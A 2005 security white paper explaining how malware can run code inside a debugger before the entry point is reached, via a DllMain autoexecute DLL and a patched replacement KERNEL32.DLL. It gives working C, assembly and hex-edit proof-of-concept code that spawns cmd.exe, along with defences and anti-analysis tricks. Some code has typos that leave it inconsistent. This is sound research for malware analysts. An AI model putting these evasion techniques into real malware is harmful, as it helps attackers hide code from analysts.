
White Paper

Title: Bugger The Debugger
- Pre Interaction Debugger Code Execution

Prepared by: Brett Moore
Network Intrusion Specialist, CTO
Security-Assessment.com

Date: April 2005



Abstract

The use of debuggers to analyse malicious or otherwise unknown binaries has become a requirement for reverse engineering executables to help determine their purpose. While researchers in places such as anti-virus laboratories have always done this, with the availability of free and easy to use debuggers it has also become popular with corporate security officers and home users.

One of the main purposes of a debugger is to allow the user to control the execution of a binary in such a way as to determine what instructions or commands the binary is executing. During malware analysis the user can modify what the binary is trying to execute, or prevent it all together.

This paper will demonstrate methods that may be used by malware to execute code, simply by being loaded into a debugging session. This code execution occurs before the debugger passes control back to the user and therefore cannot be prevented.

Debuggers

Our research was done on the Windows 2000 SP4 operating system, using the following three popular debuggers;

OllyDbg
Microsoft Visual C++ Debugger
WinDbg

Various other lesser-known free debuggers were also tested and found to have the same weaknesses, allowing for the methods in this document to be exploited.

When the debugger loads a binary, a breakpoint is placed at the executables entry point. The entry point is a DWORD contained in the IMAGE_OPTIONAL_HEADER section of the executables PE header, and is an RVA address where the executable part of the code will be located after loading has completed.

Since the debugger has created a breakpoint at what appears to be the start of the executable code, the user expects the debugger to 'break' and pass control back to the user before the executable code starts running.

The attacks described in this document are based on the fact that it is possible to execute code before the entry point is reached and therefore before control is passed back to the user.



The Windows Loader

When an executable is first loaded, the Windows loader is responsible for reading in the files PE structure and loading the executable image into memory. One of the other key processes it handles, is to load all of the dlls that the application uses and map them into the process address space.

Within a PE file, there's an array of data structures, one per imported DLL. Each of these structures gives the name of the imported DLL and points to an array of function pointers. The array of function pointers is known as the import address table (IAT). Each imported API has its own reserved spot in the IAT where the address of the imported function is written by the Windows loader.

After all the required DLL files are loaded, the applicable initialization routines are called for any of the DLL files where required. In Windows NT, the routine that invokes the entry point of EXEs and DLLs is called LdrpRunInitializeRoutines.

The Autoexecute DLL Summary

Because the DLL initialization is done before execution flow reaches the binaries entry point, it is possible for a binary to import a DLL file that contains malicious code which will be run before control is passed back to the debugger.

The Kernel32 DLL Replacement Summary

The windows loader assumes that every valid binary will import KERNEL32.DLL. Once the loader, which resides in NTDLL.DLL, has loaded all the required modules, execution jumps to an address that resides inside KERNEL32.DLL. This code does the final setup before reaching an instruction that passes execution through to the binaries entry point.

On Window 2000 this instruction looks like;

```
7C59893A    call    dword ptr [ebp+8]
```

This instruction passes execution to the binaries entry point, and therefore back to the debugger.

If it is possible for the malicious binary to load its own DLL instead of KERNEL32.DLL then the binary can gain execution control before the entry point is reached. By doing this, the binary can execute code before control is passed back to the debugger.

Because a replacement system DLL is being supplied, this method appears to be operating system dependent.



The Autoexecute DLL Detail

The DllMain function is an optional entry point into a dynamic-link library (DLL). If the function is used, it is called by the system when processes and threads are initialized and terminated, or upon calls to the LoadLibrary and FreeLibrary functions.

As mentioned in the summary above, before the process entry point is called DLL initialization occurs through a call to the DllMain function of any loaded DLLs.

PREDEBUG1 - DLL

```
/*
-----
-       PREDEBUG 1 - The Autoexecute DLL [ DLL PART ]
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own dll that has initialization code
-       This code will be executed before control is passed back
-       to the debugger
-
-       brett.moore@security-assessment.com
-----
*/
#include "stdafx.h"
#include "process.h"
extern "C" int __declspec(dllexport) myfunc(void);
int myfunc();

int myfunc()
{
    return TRUE;
}

BOOL APIENTRY DllMain( HANDLE hModule,
                      DWORD ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    system("cmd");
    return TRUE;
}
```



PREDEBUG1 - EXE

```
/*
-----
-       PREDEBUG 1 - The Autoexecute DLL [ EXE PART ]
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own dll that has initialization code
-       This code will be executed before control is passed back
-       to the debugger
-
-       Needs to be compiled without optimisation
-
-       brett.moore@security-assessment.com
-----
*/
#include <stdio.h>
void doit()
{
    myfunc();
}
int main(int argc, char *argv[])
{
    printf("Hello World...\n");
}
```

When compiled and loaded into a debugger, the above code will cause a cmd.exe shell to be started before the executables entry point is reached.

The Autoexecute DLL Defenses

It is possible to force the Windows Loader to execute a breakpoint when a DLL is loaded by creating a registry entry. This registry entry is per DLL file and should be created as;

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\<DLLNAME>

In the key, create a new string value called "BreakOnDllLoad" and set it to "1". This will allow the debugger to break when the DLL is loaded, and tracing of execution can begin.



The Kernel32 DLL Replacement Detail

An alternative method of obtaining execution control before a programs entry point is called, is through supplying a 'trojan' KERNEL23.DLL. We use the term trojan here in a very loose manner, in reality we supply a modified copy of KERNEL32.DLL that will be loaded by the malware, instead of the original.

As mentioned in the summary, this method appears to be OS dependant, although it may be possible to create a cross platform replacement DLL.

Creating the replacement DLL is done by taking a copy of KERNEL32.DLL and then replacing the code responsible for passing control to the binaries entry point. The code replacement is as follows;

```

7C598934 FF 15 4C 13 57 7C    call    dword ptr ds:[7C57134Ch]
7C59893A FF 55 08                call    dword ptr [ebp+8]
7C59893D 50                          push   eax
7C59893E EB 27                      jmp     7C598967
7C598940 8B 45 EC                    mov     eax,dword ptr [ebp-14h]

```

With

```

7C598934 FF 15 4C 13 57 7C    call    dword ptr ds:[7C57134Ch]
7C59893A 8B 5D 08                mov     ebx,[ebp+08]
7C59893D 66 BB 00 10            mov     bx,1000h
7C59893E FF E3                      jmp     ebx
7C598940 8B 45 EC                    mov     eax,dword ptr [ebp-14h]

```

This causes the original entry point to be stored in EBX, and then the BX register is initialized with 1000h, which will then cause execution to jump to 0xXXXX1000. This is the start of the malicious function in this example.

Once the malware executable is compiled, a hex editor can be used to replace the KERNEL32.DLL import entry with the name of the replacement DLL.

000065A0	AF00	4578	6974	5072	6F63	6573	7300	6000	..ExitProcess.`
000065B0	4372	6561	7465	5072	6F63	6573	7341	0000	CreateProcessA..
000065C0	AF01	4765	7453	7461	7274	7570	496E	666F	..GetStartupInfo
000065D0	4100	9801	4765	7450	726F	6341	6464	7265	A...GetProcAddre
000065E0	7373	0000	7701	4765	744D	6F64	756C	6548	ss..w.GetModuleH
000065F0	616E	646C	6541	0000	5052	4544	4542	5547	andleA..PREDEBUG
00006600	2E44	4C4C	0000	0801	4765	7443	6F6D	6D61	.DLL...GetComm
00006610	6E64	4C69	6E65	4100	DE01	4765	7456	6572	ndLineA...GetVer
00006620	7369	6F6E	0000	5103	5465	726D	696E	6174	sion..Q.Terminat
00006630	6550	726F	6365	7373	0000	3A01	4765	7443	eProcess...GetC
00006640	7572	7265	6E74	5072	6F63	6573	7300	6203	urrentProcess.b.
00006650	556E	6861	6E64	6C65	6445	7863	6570	7469	UnhandledExcepti
00006660	6E6E	4C69	6E65	4100	DE01	4765	7456	6572	..File...GetV



By replacing the import module name, we are forcing the loader to load our replacement module into the address space normally occupied by KERNEL32.DLL. When the loader jumps to the code, which it expects to find in that address space, our replacement code is executed.

Since the malware will want to make use of other real DLL files, the replacement DLL file must be removed before another DLL tries to import functions from KERNEL32.DLL, otherwise an Illegal System DLL Relocation error will occur. To do this the malicious function, predebug(), needs to do some cleanup work before normal code can start executing.

Since the OS thinks that the replacement DLL is the real KERNEL32.DLL it has had its DLL load count flag set to 0xFFFF, which is used as a check to prevent it from being unloaded. The malicious function must reset this flag back to one, so that the call to LdrUnloadDll will be successful. This is done using the following code;

```
// Removes the 'system dll' check
_asm{
    mov esi,fs:0x30      // Get Peb
    add esi,0x0c        // Move to PPROCESS_MODULE_INFO
    lodsd               // Get the pointer into EAX
    mov esi,[eax + 0x1c] // InInitializationOrderModuleList
    lodsd               // Grab Next Pointer in eax
    mov word ptr [eax+0x28],01 // Overwrite the 'load count'
}
```

The NTDLL.DLL exports LdrUnloadDll, LdrLoadDLL are used since there will be no valid KERNEL32.DLL loaded during this cleanup process. The malicious function now unloads the replacement DLL file, and loads the real KERNEL32.DLL file;

```
// Get the address of our dll
hMod = GetModuleHandle("predebug.dll");
// Unload it
LdrUnloadDll(hMod);
// Load the real kernel32.dll
LdrLoadDll(NULL, NULL, &nString, &hMod);
```

After this procedure has been completed, the binary is able to import any existing DLL files, and use any of the standard functions.



PREDEBUG2- EXE

```
/*
-----
-       PREDEBUG 2 - The Kernel32 DLL Replacement
-
-       Sample showing code execution upon loading in a debugger
-       PREDEBUG loads its own copy of kernel32 which alters the
-       entry address, removes the copy and loads the real
-       kernel32.dll
-
-       Needs to be compiled without optimisation
-
-       brett.moore@security-assessment.com
-----
*/
#define _WIN32_WINNT 0x501
#include <stdio.h>
#include <windows.h>
// Included From winternl.h
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

VOID (__stdcall *LdrLoadDll)(
    IN PWCHAR                PathToFile OPTIONAL,
    IN ULONG                 Flags OPTIONAL,
    IN PUNICODE_STRING       ModuleFileName,
    OUT PHANDLE              ModuleHandle );

VOID (__stdcall *LdrUnloadDll)(
    HINSTANCE pInstance
);

VOID (__stdcall *RtlInitUnicodeString)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
);
```



```
void predebug()
{
    HMODULE hMod;
    UNICODE_STRING nString;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    // Grab the API addresses we require
    hMod = GetModuleHandle("ntdll.dll");
    LdrLoadDl = (void *) GetProcAddress(hMod, "LdrLoadDl");
    LdrUnloadDl = (void *) GetProcAddress(hMod, "LdrUnloadDl");
    RtlInitUnicodeString = (void *) GetProcAddress(
        hMod, "RtlInitUnicodeString");

    // Init the unicode string
    RtlInitUnicodeString(&nString, L"kernel32.dll");

    // Removes the 'system dll' check
    _asm{
        mov esi, fs:0x30 // Get Peb
        add esi, 0x0c // Move to PPROCESS_MODULE_INFO
        lodsd // Get the pointer into EAX
        mov esi, [eax + 0x1c] // InInitializationOrderModuleList
        lodsd // Grab Next Pointer in eax
        mov word ptr [eax+0x28], 01 // Overwrite the 'load count'
    }

    // Get the address of our dll
    hMod = GetModuleHandle("predebug.dll");
    // Unload it
    LdrUnloadDl(hMod);

    // Load the real kernel32.dll
    LdrLoadDl(NULL, NULL, &nString, &hMod);

    // We are now in a state where we can execute code normally

    GetStartupInfo(&si);
    CreateProcess("c:\\winnt\\system32\\cmd.exe", NULL, NULL,
        NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    ExitProcess(1);
}
```



```
int main(int argc, char *argv[])
{
    printf("Hello World...\n");
}
```

When compiled and loaded into a debugger, the above code will cause a cmd.exe shell to be started before the executables entry point is reached.

The Kernel32 DLL Replacement Defenses

It is possible to use the registry entry setting as detailed under the Autoexecute DLL section, but because the execution hijacking is in a more obscure location, it will not be apparent by looking at the DLL initialization code.

One method of detecting this would be to ensure that the binary has an import entry of KERNEL32.DLL, but even so it may be possible to trojan other DLL files in a similar manner. It would also be possible to detect this type of attack, through checking the base address of the imported DLL's for a conflict with KERNEL32.DLL.

The Obscure DLL

The two methods detailed above make use of a DLL file that may or may not be analysed first as part of the malware dissection. There are however methods that can be used to obscure this file as well.

- The DLL Name
The name of the DLL to be loaded does not require an extension of .dll; in fact it doesn't require an extension at all. This file can be renamed to look like a .txt, .jpg or any other obscure extension that may diffuse attention away from it.
- The Remote DLL
As pointed out in <http://lists.virus.org/darklab-0312/msg00006.html>, LoadLibrary will follow UNC paths. This means that the DLL to be loaded could be hosted on a remote machine. While this DLL will obviously not be loaded when the analysis is done on a separated machine, it could be used to add an extra layer of difficulty to the malware analysis.
- The KERNEL32.DLL EXE Replacement
This method employs the same technique as the KERNEL32.DLL replacement attack, but replaces KERNEL32.DLL with the malware binary. This is accomplished by crafting a binary with a base address that is the same as KERNEL32.DLL, and making sure KERNEL32.DLL is not imported. The windows loader will then jump directly into the binary code, bypassing the need for execution to reach the executables entry point.



Final Summary

Recently some attacks against debuggers have become known that attack the debugger through buffer overflow exploits.

Format String Bug in OllyDbg 1.10

<http://cert.uni-stuttgart.de/archive/bugtraq/2004/07/msg00211.html>

OllyDbg long process Module debug Vulnerability

<http://cert.uni-stuttgart.de/archive/bugtraq/2005/03/msg00337.html>

What we have attempted to show in this document is that unauthorized code execution inside a debugger, is possible by using DLL manipulation and exploiting the order in which linked components are loaded and executed.

Because these attack avenues are made possible through the way in which WIN32 binaries are loaded, it may not be possible for debuggers to generate patches to handle these scenarios. It is possible however to be aware of these methods, and to attempt to detect them during a malware analysis session.

Since malware analysis should be performed on a separated machine that for all intents and purposes is a scapegoat; the threat of code execution should not be of concern. What these attacks could allow malware to do though, is alter themselves depending on whether they are inside a debugging environment or not. This could prevent their true code from being discovered.

A very simple example of this could be if the malware has a visible password string, that when viewed through IDA or a debugger is set to 'ircpass'. When the malware is run under normal use, it can connect to the IRC server and login, but if the password is used under a manual IRC connect, it fails. This behavior could be due to the malware running some predebug code, that xors or alters the password string as long as it is not been run under a debug session.

This is a different story of course, if the debugging session is done on a non-protected machine, but recommendations to solve those types of issues are beyond the scope of this document....



References

- Solving The Mysteries Of The Loader
<http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/default.aspx>
- Under The Hood, Sep 1999
<http://www.microsoft.com/msj/0999/hood/hood0999.aspx>
- MSDN – DLLMain
<http://msdn.microsoft.com/library/en-us/dllproc/base/dllmain.asp>
- MSDN – Dynamic Link Library Entry-Point Function
http://msdn.microsoft.com/library/en-us/dllproc/base/dynamic_link_library_entry_point_function.asp
- Peering Inside The PE: A Tour Of The Win32 PE File Format
http://msdn.microsoft.com/library/en-us/dndebug/html/msdn_peeringpe.asp
- Security-Assessment.com
www.security-assessment.com

About Security-Assessment.com

Security-Assessment.com is an established team of Information Security consultants specialising in providing high quality Information Security Assurance services to clients throughout the UK and Australasia. We provide independent advice, in-depth knowledge and high level technical expertise to clients who range from small businesses to some of the worlds largest companies

Using proven security principles and practices combined with leading software and proprietary solutions we work with our clients to provide simple and appropriate assurance solutions to Information security challenges that are easy to understand and use for their clients.

Security-Assessment.com provides security solutions that enable developers, government and enterprises to add strong security to their businesses, devices, networks and applications. We lead the market in on-line security compliance applications with the SA-ISO Security Compliance Management system, which enables companies to ensure that they are effective and in line with accepted best practice for Information Security Management.

Copyright Information

These articles are free to view in electronic form; however, Security-Assessment.com and the publications that originally published these articles maintain their copyrights. You are entitled to copy or republish them or store them in your computer on the provisions that the document is not changed, edited, or altered in any form, and if stored on a local system, you must maintain the original copyrights and credits to the author(s), except where otherwise explicitly agreed by Security-Assessment.com Ltd.